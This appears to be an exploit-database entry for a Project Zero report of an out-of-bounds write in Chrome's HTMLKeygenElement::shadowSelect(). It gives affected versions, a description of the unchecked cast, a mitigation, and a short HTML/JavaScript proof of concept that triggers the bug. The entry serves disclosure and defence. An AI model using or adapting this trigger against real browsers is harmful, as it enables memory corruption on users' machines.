header-logo
Suggest Exploit
vendor:
Chrome
by:
Project Zero
7,5
CVSS
HIGH
Out-of-bounds write
787
CWE
Product Name: Chrome
Affected Version From: Chrome version 66
Affected Version To: Chrome version 66.0.3359.117
Patch Exists: YES
Related CWE: N/A
CPE: a:google:chrome:66.0.3359.117
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2018

Chrome bug: Out-of-bounds write in HTMLKeygenElement::shadowSelect()

This vulnerability allows an attacker to write out-of-bounds memory in the HTMLKeygenElement::shadowSelect() function. This is done by using the caretRangeFromPoint() function to access the userAgentShadowRoot and then prepending a string to it. The HTMLKeygenElement::shadowSelect() function then blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type, resulting in an out-of-bounds write.

Mitigation:

The vulnerability can be mitigated by properly validating the Node type before casting it to HTMLSelectElement.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994

Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=666246

PoC:
-->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->